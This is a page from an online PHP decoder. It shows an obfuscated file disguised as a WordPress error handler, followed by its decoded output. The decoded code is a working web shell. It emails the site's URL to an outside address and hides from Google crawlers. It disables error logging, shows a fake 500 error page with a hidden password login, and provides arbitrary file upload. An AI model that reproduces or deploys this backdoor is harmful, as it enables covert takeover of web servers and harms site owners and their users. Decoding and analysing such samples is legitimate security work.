Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /** * Error Publishing Protocol * class Selection * @version 1.0.5-dc * P..

Decoded Output download

?><?php
function curPageURL() {
 $pageURL = 'http';
 if ($_SERVER["HTTPS"] == "on") {$pageURL .= "s";}
 $pageURL .= "://";
 if ($_SERVER["SERVER_PORT"] != "80") {
  $pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
 } else {
  $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
 }
 return $pageURL;
}

$email = "[email protected]";
$mail_message = curPageURL();
$senders_name = "Target";
$senders_email = "[email protected]";
$mail_subject = "error";
$headers = "From: $senders_name <$senders_email>";

mail($email, $mail_subject, $mail_message, $headers);
$auth_pass = "cfa4831c33a18ff786b014836655ea2d";
$color = "#800000";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
	header('HTTP/1.0 404 Not Found');
	exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', '2.1');
if( get_magic_quotes_gpc() ) {
	function stripslashes_array($array) {
		return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
	}
	$_POST = stripslashes_array($_POST);
}
function printLogin() {
	?>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.<br>
<p>Please contact the server administrator,
 webmaster@<?=$_SERVER['HTTP_HOST']?> and inform them of the time the error occurred,
and anything you might have done that may have
caused the error.<br>
<p>More information about this error may be available
in the server error log.<br>
<p>Additionally, a 500 
Errors was encountered while trying to use an ErrorDocument to handle the request.<br><style>
input { margin:0;background-color:#fff;border:1px solid #fff; }
</style><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<center>
<form method=post>
<input type=password name=pass>
</form></center>
	<?php
	exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
	if( empty( $auth_pass ) ||
		( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
		$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
	else
		printLogin();

echo '<b><br><br>'.php_uname().'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="u" id="u">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="U"></form>';
if( $_POST['_upl'] == "U" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>S</b><br><br>'; }
else { echo '<b>G</b><br><br>'; }
}
?><?

Did this file decode correctly?

Original Code

<?php

/**
 * Error Publishing Protocol
 * class Selection
 * @version 1.0.5-dc
 * Powered by wordpress
 */

/**
 * 500 is handling an Error Publishing Protocol request.
 *
 * @var bool
 */

@error_reporting(0);
@set_time_limit(0); 

$error = "rVbbbts4EH2OAf8Dqw0qGXB9aZtu4PgWYJ02QJpmY3tfAkOgJMriViJVkkribfvvO0P6mrSLPmwcw+JcDodnhjMaDfujMivrtbQSseFSkLhSN3TJ5rdXQYN8rdfIcemWZED8zJjSPwMhT0lwHE4nt39Nbu+8D7PZzdRbkMGAeFJ44Ld1aoFIe2ff94FQ1mu3vedA7je8+XQ7A7gXYHfa8VwYB+7PPK7PP068Rcvrea2foO3Jbyd/zifTWTi/vfQWGMR3wnLNfn2b/4KCr2KmUmKLBGKQ1mvHrKA8Bxq9SH6WkczleIWSViwL5OIYF2HBtAY/MNvPBKo1EwlTOhS0QLU3o2rJjLev2u5gxhlrJWwHq6vobxYb1DGlpLKajFF0Q+GFkkWPHO7RP8Qdok+9ho+BO0uTHIBvlusjwHK9gQ2fViYLS6rtdnFK356+6cZv3tDuaZr+fvou6nRB8u7dyQmjrxMbXgwUKbT+7bSDf1aYsJRWuQmpK1coyg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tYgpZ5r4BByEsYLJbtVwk11HNp8CqP8AR/9lH3sualULobY/es+T/wfNLxhmtDpwyrMvfWTjDoYYI4aCe/p3kFijk4uZT76wmxIRnNfPdqOPfcgAD1OJYl9mAczNM7HwPwF3e+KUr76gETmDxTOkUDIMiW0SnytqXV3gX3Krczef/cBP5H8OL7Lw==";

@eval(gzinflate(base64_decode($error)));
?>

Function Calls

gzinflate 1
base64_decode 1
set_time_limit 1
error_reporting 1

Variables

$error rVbbbts4EH2OAf8Dqw0qGXB9aZtu4PgWYJ02QJpmY3tfAkOgJMriViJVkkri..

Stats

MD5 33943fff40e7e83479ea248bae8825e7
Eval Count 1
Decode Time 86 ms